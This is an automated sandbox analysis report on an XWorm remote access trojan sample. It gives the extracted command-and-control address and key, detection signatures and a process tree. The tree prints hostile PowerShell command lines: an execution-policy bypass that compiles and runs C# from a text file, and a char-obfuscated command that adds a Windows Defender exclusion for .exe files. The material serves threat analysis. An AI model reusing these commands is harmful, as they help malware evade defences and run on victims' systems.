Analysis
- max time kernel
149s - max time network
96s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
15/04/2026, 22:38
General
- Target 2026-04-15_d435e826f2a2a227d6d18017423b0418_akira_cobalt-strike_icedid_mespinoza_njrat_ryuk_vidar.exe
- Size 3.5MB
- Sample260415-2kca6sdw91
- SHA256 0115503906403dc9fa9bf5888fde9fb88b248bcf371bd7bb9b14a188ace196c0
Malware Config
Extracted
-
xworm
-
5.0
-
158.255.213.175:433
-
OD5wJuKNTLy7qi9e
-
install_file
USB.exe
-
localhost
127.0.0.1
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 1 IoCs
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- Detects Windows executables referencing non-Windows User-Agents 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\2026-04-15_d435e826f2a2a227d6d18017423b0418_akira_cobalt-strike_icedid_mespinoza_njrat_ryuk_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-04-15_d435e826f2a2a227d6d18017423b0418_akira_cobalt-strike_icedid_mespinoza_njrat_ryuk_vidar.exe"2⤵
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -command ""sleep 4;$TNMKJGOZ = Get-Content "$env:UserProfile\UPDATE2.txt" -Raw; Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $TNMKJGOZ -Language CSharp; [HelloWorld]::SayHello()""3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of SetThreadContext
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bp2hjjap\bp2hjjap.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES91D6.tmp" "c:\Users\Admin\AppData\Local\Temp\bp2hjjap\CSC1F1A49067902466D86978C1DA6409A86.TMP"5⤵
-
-
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $MyBigFatCriticalPoint=[char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+[char]114+[char]101+[char]102+[char]101+[char]114"+"+[char]101+[char]110+[char]99+[char]101;$s=[char](23+23)+[char]101+[char]120+[char]101;&($MyBigFatCriticalPoint) -ExclusionExtension $s -Force1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
RES91D6.tmp
__PSScriptPolicyTest_vf5oplzh.zvo.ps1
bp2hjjap.dll
DATA.txt
UPDATE2.txt
CSC1F1A49067902466D86978C1DA6409A86.TMP
bp2hjjap.0.cs
bp2hjjap.cmdline
memory/2316-38-0x000002D4FB040000-0x000002D4FB050000-memory.dmp
memory/2316-41-0x000002D4FAEA0000-0x000002D4FAF4F000-memory.dmp
memory/2316-19-0x000002D4FB590000-0x000002D4FB606000-memory.dmp
memory/2316-16-0x000002D4FC330000-0x000002D4FC9AA000-memory.dmp
memory/2316-15-0x000002D4FB160000-0x000002D4FB17E000-memory.dmp
memory/2316-14-0x000002D4FB040000-0x000002D4FB050000-memory.dmp
memory/2316-70-0x000002D4FAEA0000-0x000002D4FAF4F000-memory.dmp
memory/2316-7-0x000002D4FB180000-0x000002D4FB1A2000-memory.dmp
memory/2316-69-0x000002D4FA8A0000-0x000002D4FA8AC000-memory.dmp
memory/2316-6-0x000002D4FB000000-0x000002D4FB024000-memory.dmp
memory/2316-34-0x000002D4FAA20000-0x000002D4FAA34000-memory.dmp
memory/2316-35-0x000002D4FB430000-0x000002D4FB44E000-memory.dmp
memory/2316-36-0x000002D4FB030000-0x000002D4FB042000-memory.dmp
memory/2316-37-0x000002D4FB040000-0x000002D4FB050000-memory.dmp
memory/2316-2-0x000002D4FB040000-0x000002D4FB050000-memory.dmp
memory/2316-5-0x000002D4FB680000-0x000002D4FBCAA000-memory.dmp
memory/2316-40-0x000002D4FA8A0000-0x000002D4FA8AC000-memory.dmp
memory/2316-43-0x000002D4FB040000-0x000002D4FB050000-memory.dmp
memory/2316-42-0x000002D4FAFC0000-0x000002D4FAFD2000-memory.dmp
memory/2316-17-0x000002D4FB490000-0x000002D4FB526000-memory.dmp
memory/2316-45-0x00007FF928BA0000-0x00007FF928DA9000-memory.dmp
memory/2316-46-0x00007FF9284C0000-0x00007FF92857D000-memory.dmp
memory/2316-47-0x00007FF9263F0000-0x00007FF926764000-memory.dmp
memory/2316-48-0x00007FF927E80000-0x00007FF927F2E000-memory.dmp
memory/2316-49-0x000002D4FB410000-0x000002D4FB411000-memory.dmp
memory/2316-3-0x000002D4FA980000-0x000002D4FA9B6000-memory.dmp
memory/2316-4-0x000002D4FB040000-0x000002D4FB050000-memory.dmp
memory/2316-62-0x000002D4FAEA0000-0x000002D4FAF4F000-memory.dmp
memory/3740-29-0x0000022C38650000-0x0000022C3865C000-memory.dmp
memory/4384-64-0x0000000000D90000-0x0000000000D9A000-memory.dmp
memory/4384-68-0x00000000056F0000-0x0000000005766000-memory.dmp
memory/4384-72-0x0000000005770000-0x000000000578E000-memory.dmp
memory/4384-73-0x00000000057A0000-0x00000000057AE000-memory.dmp
memory/4384-74-0x0000000005910000-0x00000000059AC000-memory.dmp
memory/4384-75-0x0000000005F70000-0x0000000005FD4000-memory.dmp
memory/4828-32-0x00000259331E0000-0x00000259331EC000-memory.dmp
memory/5044-58-0x0000021C34890000-0x0000021C3489C000-memory.dmp
memory/5044-59-0x0000021C36160000-0x0000021C3620F000-memory.dmp
memory/5044-60-0x0000021C36210000-0x0000021C36222000-memory.dmp